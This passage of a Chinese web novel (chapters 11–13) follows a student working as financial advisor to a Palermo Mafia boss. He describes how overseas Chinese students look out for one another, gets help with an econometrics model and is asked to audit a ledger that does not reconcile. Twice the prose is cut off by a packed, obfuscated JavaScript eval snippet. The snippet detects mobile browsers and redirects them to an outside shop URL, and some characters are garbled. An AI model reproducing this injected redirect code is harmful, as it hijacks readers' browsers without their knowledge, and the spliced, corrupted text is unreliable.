“有个学艺术的男生,手机丢了三天没买新的。群里的人联系不上他,发了无数条消息没人回,打了十几个电话没人接。大家一开始以为他只是在忙,但过了四十八小时,群里开始慌了。” 洛伦佐的手指停在了咖啡杯的杯沿上。 “有人提议报警,”我说,“但也有人说报警可能不够快,就直接打了驻意大使馆的领事保护电话。” “领事保护电话?”洛伦佐重复了一遍这个词,发音居然还挺标准。 “对,就是中国政府给在海外的公民提供的紧急援助电话。大使馆的人接到电话后,立刻联系了学校。学校联系了他的房东。房东用备用钥匙开了门,发现他只是在房间里昏天昏地地画油画,手机丢了都不知道。” 洛伦佐的表情已经不能用“困惑”来形容了。那是一种更复杂的、带着某种微妙的震撼的东西。 “所以,”他缓缓开口,“如果你不去参加这个聚会,你的朋友们会认为你出事了,会报警,会找大使馆。” “对,”我点头。 “而且会在七十二小时内。” “可能更快,”我说,“因为我已经两天没去学校了。今天周姐已经问我‘怎么没来上课’了。如果我周五还不出现,一定会报警。” “而且,”我补充道,“我们这群中国留子基本上不可能放过每一次的聚餐。就算我临时请假说‘这周去不了’,第二天也会有人打包好饭菜带过来给我,顺便看看我是不是还活着。” 洛伦佐的额角跳了跳。 “他们还会带着水果,”我补充道,“上次有人感冒了没来聚会,第二天三个人拎着水果和粥去他家,量了体温,拍了照片发群里,报告‘患者已确认存活’。” 洛伦佐的表情出现了极其微妙的裂痕。 “你们,”他说,声音里带着一种“我已经不知道该怎么接话”的沙哑,“是同学还是医疗队?” “都是,”我说,“在意大利,我们这些留学生自动获得‘兼职护士’资格。主要是这边的医疗系统太慢了,感冒发烧去医院要等好几个小时甚至一整天,不如自己人照顾自己人。” 洛伦佐的表情已经不能用“崩坏”来形容了。那是一种介于“这群人是什么物种”和“我是不是应该重新评估中国留学生这个群体”之间的复杂表情。 “你们,”他斟酌了一下措辞,“每次有人不来,都会这样?” “基本上吧,”我说,“异国他乡嘛,大家就是彼此的紧急联系人。谁几天没出现,大家就会开始担心。因为我们都知道,在这里,如果出了事,能第一时间来救你的,不是警察,不是救护车,是你身边的人。” 书房里安静了几秒钟。 洛伦佐靠在椅背上,翠绿色的眼睛看着我,目光里有一种我看不懂的东西。 “你刚才说,”他开口了,声音比之前轻了一些,“报警之后,还会找大使馆?” “对,”我说,“驻意大利的中国大使馆,在罗马。但我们平时联系更多的是领事部,办护照、签证、公证认证什么的都找他们。我来意大利前第一件事就是背领事保护电话。” 洛伦佐的手指在桌面上轻轻叩了两下。 “你们中国留学生,”他慢慢地说,“跟大使馆的关系……很紧密?” 我想了想。 “怎么说呢,大使馆就像是我们在意大利的‘家’。有事找大使馆,这是我们在出国之前就被反复叮嘱的事情。丢了护照找大使馆,出了事故找大使馆,被欺负了找大使馆,想家了也可以去大使馆坐坐。我有个同学有一次想家了去大使馆哭的呢。” 洛伦佐的表情凝固了。 “去大使馆,”他重复了一遍,像是在确认自己没有听错,“哭?” 11. chapter11 别问我为什么一个Mafia要听我分析中国留学生的报警习惯,问就是如果不讲清楚,这周五巴勒莫可能会出现“中国留学生集体报警找同学”的新闻。 而新闻里那个“失联”的同学,就是我。 - “真的,”我说,“工作人员还给她煮了碗鸡蛋刀削面,陪她聊了半个小时,然后把她送回了公寓。” 洛伦佐闭了闭眼。 “还有,到了中国的节日的时候,只要没回家都会去大使馆。”我说,“去年中秋节,我一个人在出租屋里,看着月亮,想着国内的朋友都在吃月饼赏月,我一个人在这边连个月饼都没有。然后我就跑去领事馆了,工作人员给我发了月饼,还跟我说‘小伙子别难过,我们都在这呢’。” 我说到这里的时候,发现洛伦佐看我的眼神变了。 比起之前的审视和时不时的不耐烦,又或者是“这个人是不是有病”的嫌弃。此时他眼里闪动着的是一种更复杂的、更难以描述的东西。 “去年过年我没回家,”我继续说,“也去大使馆过的春节。领事馆组织了一个春节招待会,包饺子、写春联、看春晚,有个叔叔还现场用毛笔写了副春联送给我,上联写‘海外存知己’,下联写‘天涯若比邻’,横批‘祖国在你身后’,我一直贴在出租屋的墙上。” “春联。”洛伦佐重复了一遍这个词。 “对,就是……红纸黑字,上面写着吉祥话,贴在门两边,”我说,“中国的传统习俗。” 洛伦佐沉默了几秒钟。 “上次我护照丢了,”我继续说,“也是找大使馆新办的。一周就下来了,加急的,都没多收我钱。我还写了一封感谢信。” “你还写了感谢信。” “对,手写的,虽然字写得不好看,但毕竟是个心意。” 洛伦佐抬起手,做了一个“停止”的手势。 我条件反射闭嘴,保持安静。 洛伦佐又闭上了眼,闭了大概三秒钟,然后睁开眼睛,翠绿色的瞳孔里带着一种“我已经放弃理解这个世界”的平静。 他看向我,眼神变了,变得更深、更沉,像是一片翠绿色的深潭。 “林恩,”他的声音很轻很轻,“你是在威胁我吗?” 我的后背瞬间出了一层冷汗。 “不是不是不是!”我赶紧摆手,语速快得像机关枪,“绝对不是威胁!我是在给老板你做风险评估!纯粹客观的!没有任何威胁的意思!” 洛伦佐看着我,嘴角慢慢弯起一个弧度。 他的笑容里写着“你到底是个什么物种”。 “风险评估,”他重复了一遍这个词,“你管这叫风险评估。” “对,”我说,“风险管理是经济学的重要组成部分。识别风险、评估风险、制定应对策略,这是标准流程。” “所以你的应对策略是,”洛伦佐说,“去参加聚会,避免你的朋友们报警找大使馆。” “对,”我点头,“这是成本最低的方案。如果不参加,风险是朋友们报警、警察介入、大使馆介入、事情闹大、媒体关注、维斯科尼家族被曝光、BOSS你上国际热搜,成本无限大。如果参加,成本是,呃……一箱可乐和一顿饭。边际成本极低,边际收益极高。作为财务顾问,我觉得我有义务向老板你汇报可能影响……嗯……‘工作连续性’的外部因素。” 洛伦佐看着我,翠绿色的眼睛里有什么东西在闪。 “林恩,”他说,声音里带着一种慵懒的沙哑,“你是第一个,用经济学模型来分析自己应该去参加聚会还是应该被沉海的人。” “……我只是在陈述客观事实。” “是吗?” “是的。” 洛伦佐没有接话。他低下头,拿起桌上的笔,在面前的纸上写了几个字。我偷偷瞄了一眼,没看清写的是什么,只看到他的字迹很潦草,和医院里大夫的处方差不多。 他写完之后,抬起头,看向门口。 “西里森。” 门被推开了。西里森,洛伦佐的另一个下属,站在门口。 “去拿一台新电脑,”洛伦佐说,“下好微信,给他。” 西里森点了点头,转身走了。 我愣了一下。 新电脑,下好微信。 这意味着,等等,这台新电脑里肯定装了监控软件或者别的什么监视后台吧?不然他怎么可能这么大方地让我开线上会议。 但我不敢问,这种问题问出来,就像是在问一个拿着枪的人“你枪里有没有子弹”。 答案你不想知道,但你又必须知道。 “还有Zoom,”我赶紧补充了一句,“教授用Zoom收作业。” 洛伦佐看了我一眼,那个眼神的意思是“你能不能一次说完”。 “Zoom,”他对门口说,“还有Zoom。” 西里森的声音从走廊里传来:“好的BOSS。” 书房里又安静了。 洛伦佐重新靠在椅背上,翠绿色的眼睛看着我。 “还有,”洛伦佐顿了一下,“周五晚上的聚会——” 他那双翠绿色的眼睛里带着一种“我到底在做什么”的自我怀疑。 “你确定你去了,他们就不会报警?” “我不能百分百确定,”我说,“但至少能让他们知道我还没死。” 洛伦佐的嘴角抽了一下。 “周五的聚会,”他说,“地址在哪里?” “在我们一个留学生租的房子里,”我说,“老陈——就是陈宇轩,学建筑的,研二,他在巴勒莫郊区租了一套公寓,挺大的,客厅能坐二十个人。地址是——” 我报了地址。 “巴勒莫的郊区,”洛伦佐重复了一遍,似乎在确认什么,“安全吗?” “安全的。”我说,“最危险的应该是老陈想办法从国内带来的红星二锅头。上次聚会有人喝多了,抱着马桶唱了一晚上的《月亮代表我的心》。” 洛伦佐的嘴角又抽了一下,我感觉他似乎这个动作越来越频繁了。 “几点开始?”他问。 “晚上六点。” “几点结束?” “不确定,”我说,“看情况,如果大家聊得开心,可能会到凌晨一点左右。如果打麻将的话,可能会通宵。上次聚会就有人过夜了,老陈家的沙发可以拉开当床用。” “过夜。”洛伦佐重复了一遍这个词,翠绿色的眼睛微微眯了起来。 那个眼神让我后背一凉。 “不许过夜。”他说。 “可是如果大家都在——” “林恩。” “……好,不过夜。” “马可。” “在。” “周五晚上,你陪他去。” “啊?”这是马可第一次在我面前发出表示惊讶的声音。 “啊?”这是我也同时发出的声音。 洛伦佐的目光在我们两个人之间来回扫了一遍。 “有什么问题吗?”他问。 马可的表情管理在一瞬间出现了极其微小的裂缝,但他很快恢复了面无表情。 “没有,BOSS。”他说。 “有,”我说,“很大的问题。” 洛伦佐看着我。 “什么问题?” “马可长成这个样子,”我指了指马可那张写满了“生人勿近”的脸,“他往聚会现场一站,大家会觉得我不是来做饭的,是来灭门的。” 马可的表情出现了肉眼可见的僵硬。 洛伦佐沉默了零点五秒,然后…… 他又笑了,但这次,是一种真正的、发自内心的、带着某种“这个人怎么这么有意思”的笑。 他甚至微微偏过头去,像是怕我看到他笑的样子。 那个笑容大概持续了两秒钟,然后他收了回来,恢复了那副面无表情的样子。 但翠绿色的眼睛里还残留着笑意。 “马可会注意的,”他说,“穿低调点。” 我看了一眼马可的深色夹克和黑色高领衫。 “这大概是他最低调的衣服了,”我说,“他穿成这样走在街上,意大利老太太都会绕道走。” 马可的表情终于出现了一个我从未见过的变化——他的嘴角微微向下撇了一下,好像我让他受了什么委屈。 洛伦佐没有理会我的抗议。 “周五晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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洛伦佐的笔顿了一下。 然后他继续写。 “出去吧。” “好的老板,没问题老板,谢谢老板。” 我飞快地退出了书房,顺手带上了门。 马可跟在后面,走了几步,我听到他低声说了一句意大利语。 我听不懂,但那个语气大概是在骂人。 我觉得更抱歉了,要不到时候打包点菜给马可当夜宵吧。 回到房间,我关上门,靠在门板上,长长地呼出一口气,拿出手机 “周姐,线上讨论会等我消息,我这边的网络环境要调整一下。” 发送。 三秒钟后,周姐回了一个问号。 五秒钟后,她又发了一条:“你那边网络环境要调整是什么意思?你搬家了?” 我想了想,回复:“嗯,搬到另一个地方住。网络有点问题,正在解决。” 周姐发了一个“OK”的手势,然后发了一条:“不会没有WiFi吧?意大利还有没WiFi的地方?” “有WiFi,但是需要权限。” “权限???什么权限???” 我不知道该怎么解释,于是发了一个“小猫无语”的表情。 周姐发了一长串问号,然后说:“小林子你是不是被什么组织控制了?你要是被绑架了就眨眨眼。” 我眨了眨眼,然后发了个“小猫比心”的表情包,把手机扣下。 红烧排骨的配方是排骨要焯水,糖色要炒到位,火候不能大;番茄炒蛋的秘诀是蛋要嫩,番茄要熟透。 而啤酒鸭,我没做过几次,希望别翻车,等会再看一下B站教学视频吧。 蒜蓉粉丝最简单,不会翻车。 我闭上眼,内心祈祷马可不要在聚会现场吓到任何人,否则我就只能对所有人介绍‘我的一个渔夫朋友’了。 12. chapter12 别问我为什么一个Mafia会突然出现在我房间门口,问就是这里本来就是他的房子,他想什么时候来就什么时候来。 以及,他随口说出的那句话,让我整整算了二十分钟。 --- 新电脑比我想象的来得快。 西里森敲门的时候,我正在书桌前对着那本《宏观经济学概论》发呆——不对,是在复习索洛模型。虽然请假条已经批了,作业也托周姐交了,但课不能落下。奖学金审核看的是最终成绩,不是“你有没有合理的请假理由”。 门敲了三下,节奏均匀,力度适中。 “请进。”我从椅子上站起来。 西里森推门进来,手里抱着一个白色的纸箱,上面印着一个被咬了一口的苹果的logo。他把纸箱放在书桌上,然后用一种公事公办的语气说:“林恩先生,电脑已经按照BOSS的要求配置好了。微信和Zoom都已经安装,网络已经连接,您可以直接使用。” “谢谢。”我说。 西里森点了点头,转身走了。走到门口的时候,他停了一下,回过头来看了我一眼。 那个眼神里有一种说不清道不明的东西。不是敌意,不是好奇,更像是……同情? 我在他心里到底是个什么形象。 算了,不想了。 我拆开纸箱,拿出那台崭新的笔记本电脑。银灰色的金属外壳, retina屏幕,触控板大得离谱。我翻开屏幕,按下电源键,系统启动的速度比我那台用了四年的旧电脑快了不知道多少倍。 桌面很干净,只有几个图标——微信、Zoom、Stata、Chrome,还有一个我不知道是什么的软件,图标是一个蓝色的圆点,没有标签。 我盯着那个蓝色圆点看了两秒钟。 监控软件。 绝对是监控软件。 但我不敢点开,也不敢删。我假装没看到,打开微信,登录。 微信居然已经登录了,账号是我的。这说明他们在拿到电脑之前就知道我的微信号。 没关系,反正我的微信里也没什么见不得人的东西。最多就是和周姐的聊天记录里吐槽过“意大利的快递慢得像蜗牛”,和群里的同学讨论过“哪家中超的老干妈最便宜”。这些内容,就算被监控了,也不会给维斯科尼家族带来任何情报价值。 我打开Stata,跑了一个简单的回归测试。速度很快,比学校机房的电脑快多了。 我又打开了那个叫“工作文件”的文件夹。里面是空的。 我开始下载课程资料。 学校的在线学习平台需要学生账号登录,我用的是自己的账号——他们没有改我的密码,至少这一点让我松了一口气。我把这学期所有课程的课件、作业要求、参考文献列表全部下载下来,整整齐齐地分类放在桌面上。 计量经济学,宏观经济学,国际经济学,金融学基础,意大利语进阶。 四门主课,一门语言课。 每门课都有作业、有阅读材料、有期末项目。 我盯着屏幕上整整齐齐的文件夹,忽然觉得——签合同、买衣服、换手机、住庄园,这一切都像是一场梦。而真正让我觉得“我还在上学”的,是这些课件和作业。 我们的项目群叫“数据跑不完组”,名字是我取的,因为当初大家都觉得这个项目太难了,搞不定。 我点开群聊,已经有十几条消息了。 周姐:“小林子到底什么时候上线?我等得花都谢了。” 刘洋:“小林子是不是真的被绑架了?数据我都爬完了,大概五千多条,够你们跑模型了。” 张凯:“哈哈哈哈他要是被绑架了还能在群里冒泡?” 周姐:“他之前发消息说网络环境要调整,你们说他是不是真的搬家了?” 刘洋:“搬家?他那个破出租屋还能搬到哪去?搬到桥洞里?” 张凯:“桥洞里有WiFi吗?” 我翻了个白眼,打字回复:“在线,网络环境刚调整好。” “什么网络环境要调整这么久?”张凯是学信息管理的,打字带着一股子IT男的直白,“你那边是拨号上网吗?” “差不多,”我耸了耸肩,“比拨号还难搞。” 周姐:“所以你真搬家没?” 我想了想,回复:“嗯,搬了。” “搬到哪了?” “郊区。” “郊区???巴勒莫的郊区???你一个人住郊区???” “跟朋友合租。”我打完这四个字的时候,手指顿了一下。 朋友……洛伦佐算是朋友吗?肯定不算。他是老板?雇主?房东?监工? 算了,不重要。 张凯发了一个“震惊”的表情包:“小林子你居然搬去郊区了?你不是说你的底线是不离开大学周边五公里吗?” “情况有变。”我说。 “什么情况?” “生活所迫。” 周姐发了一长串问号,然后说:“你是不是被那个新老板威胁了?” 我的心跳漏了一拍,她怎么猜到的? “没有没有,”我打字,“这边房租更便宜。” 这倒是实话,洛伦佐没收我房租。 我也付不起。 “房租便宜?”周姐的语气里带着怀疑,“巴勒莫郊区哪来的便宜房子?我去年看了一圈,郊区比城里还贵,因为有海景。” “……我这个没有海景。” “那你搬它干嘛?” “为了……安静。对,安静,做作业方便。” 周姐发了一个“好吧”的表情,然后说:“那周五的聚会你还来吗?郊区过来至少四十多分钟。” “来,可乐我会买,买一整箱!” 然后我打开Zoom,创建了一个临时会议链接,把链接发到群里。 “语音聊吧,打字太慢了。”我说。 三十秒后,三个人都进来了。 “喂?能听到吗?” “听到了!”刘洋的声音从耳机里传来,“小林子你终于活了!我昨天还猜你被外星人绑架了!” “比外星人绑架好不到哪去。”我小声嘀咕了一句。 “你说什么?” “没什么没什么,”我赶紧说,“数据呢?你把数据发我,我先跑一下描述性统计。” “发了,”刘洋说话声音嘎吱嘎吱的,像是在吃东西,“群文件,你收一下。” 我打开群文件,看到一个压缩包,下载,解压,导入Stata。一切都很顺利,顺利得让我有点不安。按照墨菲定律,顺利往往意味着后面要出大问题。 “好了,”我说,“数据导入了,我先看一下变量的分布。” “你快点看,”周姐说,“我这边文献综述写得差不多了,就差你的结果来支撑论点了。” “别催别催,”我一边说一边在Stata里敲命令,“好的数据需要时间酝酿,就像好的红酒需要时间醒酒——” “你上次交作业前一天晚上才跑数据,熬到凌晨三点,现在跟我说‘好的数据需要时间酝酿’?”张凯的声音从耳机里传来,带着一种“我早就看透你了”的无奈。 “那次是意外,”我说,“这次不会了。” 我开始跑描述性统计。Stata的界面在屏幕上跳动着,一行一行的数字冒出来。均值、标准差、最小值、最大值……一切都看起来很正常,正常得让我觉得哪里不太对。 “均值看起来还可以,”我一边看一边说,“标准差也不算大,没有极端异常值——等等。” 我的手指停在了键盘上。 “怎么了?”周姐问。 “游客数量的最大值,”我盯着屏幕上的数字,“十九万八千……这不太对吧?巴勒莫的单月游客数量什么时候上过十九万?” “数据有问题?”刘洋的声音拔高了一点。 “我查一下,”我说,打开原始数据文件,翻到游客数量那一列,“这里,你看,十月,十九万八千。但是巴勒莫的旅游旺季是夏季,十月应该已经降下来了,怎么可能比八月还高?” “是不是爬虫爬错了?”张凯问。 “有可能,”刘洋说,“我看看源网站……等一下,这个网站的数据标注有问题,它把‘全年累计’和‘月度数据’混在一起了。这个十九万八应该是全年的累计,不是十月的单月。” “所以我们的数据里有脏数据,”我深吸一口气,“得重新清洗。” “又要重新清洗?”刘洋的声音里带着一种“我已经不想再看到这个项目”的疲惫。 “没事没事,”我说,“把那些明显不对的极端值删掉就行。我来弄,很快的。” 我打开Stata的do-file编辑器,开始写清洗数据的命令。drop if tourist_number > 50000——把单月游客数量超过五万的都删掉,因为巴勒莫的单月游客数量就没超过五万过。 写完,运行。 Stata的屏幕上跳出一行字:150 observations deleted。 一百五十条数据被删掉了。 “好了,”我说,“数据清洗完了,我再跑一下描述性统计。” 这次的结果看起来正常多了。均值、标准差、都在合理范围内,游客数量的最大值是四万八,八月的,符合旅游旺季的规律。 “可以了,”我说,“数据没问题了,我开始跑回归。” “等等,”周姐说,“你上次说的那个异方差性问题,你打算怎么处理?” “用稳健标准误,”我说,“White异方差一致估计量,简单粗暴。” “你确定?”周姐的语气里带着一丝怀疑,“上次教授不是说,稳健标准误只是治标不治本吗?” “我知道,”我说,“但我们现在没有时间去做加权最小二乘法了。先用稳健标准误顶着,等结果出来了再说。” 我一边说一边在键盘上敲命令,regress consumption tourist_number ie season, robust——消费对游客数量、收入、季节的回归,加上稳健标准误。 回车。 Stata的屏幕开始跳动,我盯着屏幕,手指在桌面上无意识地敲着。 “这个变量的系数不显著,”我自言自语,“可能需要换个度量方式。” “什么?”周姐在耳机里问。 “没什么,我在自言自语。” 我在纸上写下几个数字,画了一个箭头,在旁边标注了“需要进一步检验”。 笔尖在纸上划过的声音,在安静的房间里显得格外清晰。 耳机里,刘洋正在和张凯讨论数据收集的细节。周姐在翻文献,我听到了她翻书的声音。 一切都很正常。 一切都很—— 门被推开了。 直接的、毫不犹豫的、推开自己家门一样的推法。 我转过头。 洛伦佐站在门口。 他今天穿的是一件黑色的薄毛衣,深灰色的长裤,手里端着一杯咖啡。黑发微微有些凌乱,翠绿色的眼睛在房间昏暗的光线里亮得像两块顶级翡翠。 他就那么站在门口,看着我。 看着戴着耳机、嘴巴上还在念叨着“稳健标准误”“异方差性”“拟合优度”的我。 看着我面前那台新电脑上正在跑数据的Stata界面。 看着我手边那张写满了公式和数字的草稿纸。 那一瞬间,我觉得自己的心脏从胸腔里跳了出来,在地板上弹了三下,然后滚到了洛伦佐的脚边。 “老老老老老板?!”我猛地从椅子上弹起来,动作大到差点把椅子掀翻。 “不好意思各位,”我对着麦克风说,语速快得像机关枪,“突然想起了我的电饭煲还在煮东西先下了,等我煮完看群消息记录!拜拜!” 关掉语音。 房间里安静得能听到Stata还在后台运行的嗡嗡声。 从椅子上跳起来的时候,我的膝盖撞到了桌腿。痛感从膝盖骨传上来,但我没敢龇牙咧嘴,因为洛伦佐正看着我。 “老板,”我站在椅子旁边,声音干涩得像嚼了一包沙子,“您有什么吩咐?” 洛伦佐没有回答。 他端着咖啡杯,慢慢走进来,皮鞋踩在地毯上一点声音都没有。直到他走到我的书桌前,低头看了一眼那张写满了公式和数字的草稿纸。 我的字很丑,数字挤在一起,公式的符号歪歪扭扭,有些地方还画了箭头和圈圈,整张纸看起来像是一张被猫抓过的藏宝图。 洛伦佐看了大概两秒钟。 然后他伸出手,指了指草稿纸中间的一个地方。 “这里,”他的声音不大,“你的模型遗漏了季节□□互项。巴勒莫的旅游消费在夏季和冬季的弹性系数是不一样的,你只加了季节虚拟变量,没有考虑季节与游客数量的交互效应。” 我的脑子像是被人按下了暂停键。 我看着洛伦佐指的那个地方,看着那条我写了一半的回归方程,看着那个被我忽略的交互项。 然后我的脑子开始飞速运转。 交互项!季节和游客数量的交互项!我怎么没想到? “把季节虚拟变量和游客数量乘起来,”洛伦佐继续说,翠绿色的眼睛依然盯着草稿纸,“形成一个新的交互变量,加入回归方程。这样你就能捕捉到不同季节下游客数量对消费的边际影响差异。” 他端起咖啡杯,喝了一口。 “你的R-squared现在是多少?” “……0.62。”我说。 “加了交互项之后,应该能到0.7以上。” 我张了张嘴,想说点什么,但喉咙像是被什么东西堵住了。 并不是因为他的建议有多精妙,虽然确实很精妙。但更重要的是,他刚才说的那一串话,不是一个外行人能说出来的。季节□□互项、边际影响、R-sq ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449722|201143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' uared……这是计量经济学的专业术语,不是随便翻两页书就能懂的。 我看着洛伦佐。 洛伦佐看着我。 翠绿色的眼睛里没有任何多余的情绪,就好像他刚才只是在说“你的咖啡凉了”。 “你……”我顿了一下,“你怎么知道?” “什么怎么知道?” “交互项,R-squared,你怎么知道这些?” 洛伦佐没有回答。他端着咖啡杯,转身走到窗边,看着窗外的花园。阳光落在他身上,在他的毛衣上镀了一层薄薄的金色。 “你忘了,我是在博科尼大学读的金融。” “那是金融学。”我的声音小得像蚊子叫,“这是经济学。” 洛伦佐端着咖啡杯的手顿了一下,翠绿色的眼睛看着我,那个眼神里有好气有好笑。 “金融学,”他说,“和经济学,区别很大吗?” “区别挺大的,”我说,“金融更偏向资产定价和公司财务,经济学更偏向——” “我知道区别。”洛伦佐打断了我。 我熟练地闭嘴。 然后我又想起来他书房里那些经济学书籍,我当时以为那些书只是装饰,毕竟有钱人的书房里都喜欢放几本看起来很学术的书充门面。 但现在回忆起来,那上面的折痕和翻阅痕迹,并不是装饰。 洛伦佐站在窗边,背对着我,继续喝他的咖啡。 我站在那里,手里还攥着那支笔,脑子里在飞速地计算。 加了交互项之后,模型会变成什么样?R-squared能提高多少?系数的显著性会不会变化?多重共线性会不会有问题? 我坐回椅子上,拿起笔,继续在草稿纸上算。 算着算着,我就忘记了时间。 Stata的屏幕上,新的回归结果已经跑出来了。我看了一眼R-squared,0.74。 0.74,比之前高了0.12。 交互项的系数是正的,显著,p值小于零点零一。 “还真是……”我喃喃自语,手指在键盘上飞快地敲着,又跑了几组不同的模型设定,结果都很稳健。 我完全沉浸在了数据里,直到我忽然意识到一件事—— 洛伦佐还在。 他没有走。 他靠在窗边,手里端着那杯已经不知道喝了多久的咖啡,翠绿色的眼睛正看着我。 他在看我计算。 全程。 我愣了一下,手里的笔停在了纸上。 “那个,”我说,“老板您……还在啊?” 洛伦佐没有回答这个问题。他只是微微抬了抬下巴,朝电脑屏幕的方向扬了一下。 “结果怎么样?” “R-squared0.74,”我说,“交互项显著,符号为正。说明夏季游客数量对消费的边际影响确实更大。” 洛伦佐点了点头,眼神里没有嘲讽,没有得意,没有“你看我比你厉害”的炫耀,只有一种平静的、理所当然的笃定。 我张了张嘴,想说点什么,但脑子里在想,这个人,一个Mafia首领,刚才给我提了一个计量经济学的建议,而且这个建议让我的模型拟合度提高了十二个百分点。 我看着洛伦佐,洛伦佐看着我。 “谢谢你,老板。” 这句话说出来的时候,我自己都觉得有点奇怪。我在谢谢一个Mafia首领帮我改作业,这句子放在任何语境下都不太正常。 洛伦佐没接话。 “需要多久?”他问。 “什么?” “你的模型,”他说,“需要多久能搞定?” 我看了看电脑屏幕上的Stata界面,又看了看手边那张写满了公式的草稿纸,认真地思考了一下。 “如果数据没有问题的话,”我很认真地说,“大概还需要一两个小时。要把交互项正式写进论文的方法部分,重新跑所有的回归,做稳健性检验,然后把结果整理成表格发到小组。” “一两个小时。”洛伦佐重复了一遍。 “对,”我说,“可能一个半小时,可能两个小时,看稳健性检验的结果。” 洛伦佐点了点头,转身往门口走。 走到门口的时候,他停了一下。 “写完了来书房找我。” 然后他走了出去。 门在他身后轻轻关上了。 我坐在椅子上,看着那扇关上的门,脑子里的CPU温度比刚才跑数据的时候还高。 他为什么要看我写作业? 他为什么要在书房等我? 他为什么…… 不行,现在想就没法继续算数据了。 我转回头,看着屏幕上Stata的界面,深吸一口气,手指在键盘上飞快地敲着,眼睛盯着屏幕,脑子里在计算着每一个系数的经济含义。 一个半小时后。 回归结果全部跑完,稳健性检验通过,表格整理完毕。我打开文档,开始写方法部分的文字说明。 写完最后一个句号的时候,我靠在椅背上,长长地呼出一口气。 然后我站起来,拿起那台新电脑,走出房间,穿过走廊,走下楼梯。 书房的门开着。 洛伦佐坐在办公桌后面,面前摊着一份文件,手里拿着一支笔。他抬起头,翠绿色的眼睛看着我。 “写完了?”他问。 “写完了,”我说,“数据没问题,模型通过了稳健性检验。谢谢老板的建议,R-squared提高了。” 洛伦佐点了点头,低下头继续看文件。 我站在门口,不知道该不该进去。 “进来,”他说,没有抬头,“门关上。” 我走进去,轻轻关上了门。 书房里的灯光很温暖,黄铜台灯的光晕落在洛伦佐的侧脸上,在他黑色的头发上投下一小片柔和的光影。 “坐。”他说。 我坐下了。 我坐下之后,洛伦佐没有立刻说话。他继续看了一会儿文件,笔尖在纸上划了几下,然后合上文件夹,把它推到桌角。 然后洛伦佐从抽屉里拿出一本东西,随手扔在桌上。 “看看这个。”他说。 我低头一看,是一本账本。深蓝色的封皮,A4纸大小,厚度大概两厘米,边角有些磨损,看起来被翻过很多次。封面上没有写字,没有任何标识,只有右下角有一个小小的烫金符号,和我那张黑卡上的符号一模一样。 我翻开第一页。 手写的,意大利语,字迹潦草但不凌乱,每一行都有对应的数字,借方、贷方、余额,整整齐齐地列了三列。 纸张微微发黄,有一股陈旧的纸墨味道。 我的意大利语水平有限,但数字是国际通用的语言。 “这是……”我抬起头看着洛伦佐。 “某个项目的账本,”洛伦佐靠在椅背上,翠绿色的眼睛看着我,“你分析一下盈利能力。” 13. chapter13 别问我为什么一个Mafia家族的账本会出现在我面前,问就是财务顾问的KPI来了。 以及,那本账本里对不上的金额,是个整数。 在会计的世界里,整数等于“我要杀人了”。 - 盈利能力……好吧,我深吸一口气,顺着日期往下看。 收入,支出,收入,支出。每一项都有对应的凭证编号和简要说明。 翻到第三页的时候,我的手指停住了。 三月的账目,收入栏里有一笔金额,旁边备注写的是“咨询费”。但支出栏里,同一天,有一笔金额,备注写的是“服务费”。 两个金额,相差刚好一千一百欧。 一千一百欧,整数。 在会计的世界里,整数不是天使的数字,是丧钟。每一笔真实的交易都是有零有整,因为有税率、有折扣、有各种乱七八糟的计算。 整数意味着“我编的”。 我的心跳开始加速,手开始发抖。 我继续往下翻。 四月,同样的模式:一笔收入,一笔支出,同一天,相差一千两百欧。 五月,一模一样。 六月,一千四百十六欧。 我翻到后面几页,这个模式重复了整整六次。 我的手开始出汗。 账目对不上,连续六个月,这六千四百二十欧去哪了? 太整齐了,整齐到像是有人故意留下的记号。或者像是有人在试探,试探谁会注意到这个数字。 我抬起头,看了洛伦佐一眼。 他正靠在椅背上,翠绿色的眼睛看着我,表情很平静,平静得像一潭死水,看不出任何情绪。 “看出什么了?”他问。 我的第一反应是,不要说。 这是Mafia的账本,这里面每一笔钱都可能有来历,每一个数字背后都可能站着一个人。我指出来的问题,可能不是账目的问题,而是人的问题。 如果我指出了不该指出的东西,我可能会被当成“知道太多的人”。 不对,我作为“财务顾问”,发现问题不汇报,属于失职。 汇报的风险是,可能会得罪人;不汇报的风险是,可能会被当成同伙。 我的经济学直觉告诉我:当两个选项都有风险的时候,选择那个风险更小的。 “这个账,”我说,声音有点干,“对不上。” 洛伦佐的眉毛微微动了一下。 “哪里对不上?” 我翻开账本,指着三月的那一页。 “这里,收入栏有一笔咨询费,五千欧。支出栏同一天有一笔服务费,三千九百欧。差额一千欧。” 我翻到四月份那张。 “这里也一样,差额一千两百欧。” 五月、六月、七月、八月。我一页一页地翻过去,每一页都指给他看。 “连续六个月,每个月差额都是整数,这说明这些账目可能是被调整过的。真实的收入和支出之间应该有零头,有税费,有各种杂项。整数意味着‘被处理过’。” 我拿起笔,开始在账本上批注。 我的笔在纸上沙沙地响,字迹依然很丑,但每一个批注都写在了正确的位置上。我甚至还画了箭头,把相关的条目连在一起,在旁边标注了可能的问题点。 “这笔咨询费没有对应的合同编号,”我指着三月的收入栏,“这笔服务费没有写明服务内容。这两笔账的凭证编号是连续的,说明是同一天录入的,但录入人和审核人是同一个人的笔迹,正常的财务流程不应该这样。” 洛伦佐没有说话。他坐在那里,安静地看着我在账本上批注。 我翻了大概二十多页,批注了十几处。 我的手停了下来。 因为我翻到了一页让我后背发凉的账目。 这一页的差额是一万欧。 整数,更大的整数。 我的笔尖悬在纸上,没有落下去。 “怎么了?”洛伦佐的声音从头顶传来。 “这个……”我指着那一页,“这个差额更大。” 